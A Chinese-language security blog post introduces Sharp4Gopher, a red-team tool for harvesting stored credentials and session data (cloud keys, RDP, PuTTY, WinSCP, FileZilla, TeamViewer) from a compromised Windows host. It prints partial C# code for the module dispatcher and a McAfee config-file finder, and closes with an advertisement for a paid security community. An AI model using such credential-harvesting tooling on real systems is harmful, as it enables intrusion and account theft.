01
阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02
基本介绍
在内网渗透阶段,获取目标主机上的用户凭据是一项关键任务。为此,红队人员不断推出各种工具来实现这一需求。本文将介绍一款名为 Sharp4Gopher 的工具,它可以从目标主机上提取多种类型的用户凭据,包括 McAfee、GPP 缓存文件、PowerShell 历史记录、AWS 和 Azure 凭证,以及 RDP、PuTTY、WinSCP、FileZilla、TeamViewer 等配置和会话数据。
03
使用方法
Sharp4Gopher 该工具没有其他的参数,直接运行即可,默认核心功能是依次通过调用各种模块来提取和收集目标主机上的敏感数据。支持以下10个常见应用,具体如下所示。
McAfee 凭据提取
GPP 缓存文件 提取
PowerShell 历史记录 提取
AWS 凭证提取
Azure 凭证提取
RDP 会话数据提取
PuTTY 会话数据提取
WinSCP 会话数据提取
FileZilla 会话数据提取
TeamViewer 配置和会话数据提取
04
编码实现
以下是 Sharp4Gopher 的主要功能实现代码,通过调用各种子模块来执行具体的数据提取任务,具体代码如下所示。
private static string DigLikeThereIsNoTomorrow()
{
bool isHighIntegrity = Utils.IsHighIntegrity();
string text = "";
text += McAfee.Dig(isHighIntegrity);
text += GPP.Dig();
text += Unattended.Dig();
text += PSReadLine.Dig(isHighIntegrity);
text += AWS.Dig(isHighIntegrity);
text += Azure.Dig(isHighIntegrity);
text += GCP.Dig(isHighIntegrity);
text += RDP.Dig(isHighIntegrity);
text += PuTTY.Dig(isHighIntegrity);
text += SuperPuTTY.Dig(isHighIntegrity);
text += WinSCP.Dig(isHighIntegrity);
text += FileZilla.Dig(isHighIntegrity);
text += VNC.Dig(isHighIntegrity);
text += TeamViewer.Dig();
if (string.IsNullOrEmpty(text))
{
return "\nDid not find anything :(\n";
}
return text;
}
在上述代码中,DigLikeThereIsNoTomorrow 方法调用了多个子模块(如 McAfee.Dig、GPP.Dig 等)来提取各种数据。这些子模块分别处理特定类型的凭据和配置文件。例如,下面是 McAfee 凭据提取模块的实现代码。
internal class McAfee
{
public static string Dig(bool isHighIntegrity)
{
string text = "";
List<string> list = new List<string>();
List<string> list2 = new List<string>
{
"C:\\ProgramData\\",
"C:\\Program Files\\",
"C:\\Program Files (x86)\\"
};
if (isHighIntegrity)
{
list2.Add("C:\\Users\\");
}
else
{
list2.Add(string.Format("C:\\Users\\{0}\\", Environment.GetEnvironmentVariable("USERNAME")));
}
foreach (string path in list2)
{
list.AddRange(Utils.FindFiles(path, "SiteList.xml"));
list.AddRange(Utils.FindFiles(path, "SiteMgr.xml"));
}
foreach (string arg in list)
{
if (string.IsNullOrEmpty(text))
{
text += "\n# ---- McAfee repository list files ---- #\n|\n";
}
text += string.Format("| {0}\n", arg);
}
if (!string.IsNullOrEmpty(text))
{
text += "|\n# ---- #\n";
}
return text;
}
}
在这个模块中,Dig 方法通过扫描特定目录下的 McAfee 配置文件(如 SiteList.xml 和 SiteMgr.xml)来提取相关信息。根据是否具有高权限,该方法决定扫描哪些用户目录。工具还有其他的用法,已经打包在星球,感兴趣的朋友可以加入自取。
05
推荐阅读
从漏洞分析到安全攻防,我们涵盖了.NET安全各个关键方面,为您呈现最新、最全面的.NET安全知识,下面是公众号发布的精华文章集合,推荐大家阅读!
06
欢迎加入.NET安全星球
为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,也得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展。
目前星球门票¥199,后期价格随着内容和质量的不断沉淀会适当提高,星球即将涨价至 ¥239,因此越早加入越好!
目前dot.Net安全矩阵星球已成为中国.NET安全领域最知名、最活跃的技术知识库之一,从.NET Framework到.NET Core,从Web应用到PC端软件应用,无论您是初学者还是经验丰富的开发人员,都能在这里找到对应的安全指南和最佳实践。
星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。
星球文化始终认为授人以鱼不如授人以渔!加入星球后可以跟星主和嘉宾们一对一提问交流,20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。
我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。
我们还有一个会员专属的内部星球陪伴群,加入的成员可以通过在群里提出问题或参与论的方式来与其他成员交流思想和经验。此外还可以通过星球或者微信群私聊向我们进行提问,以获取帮助迅速解决问题。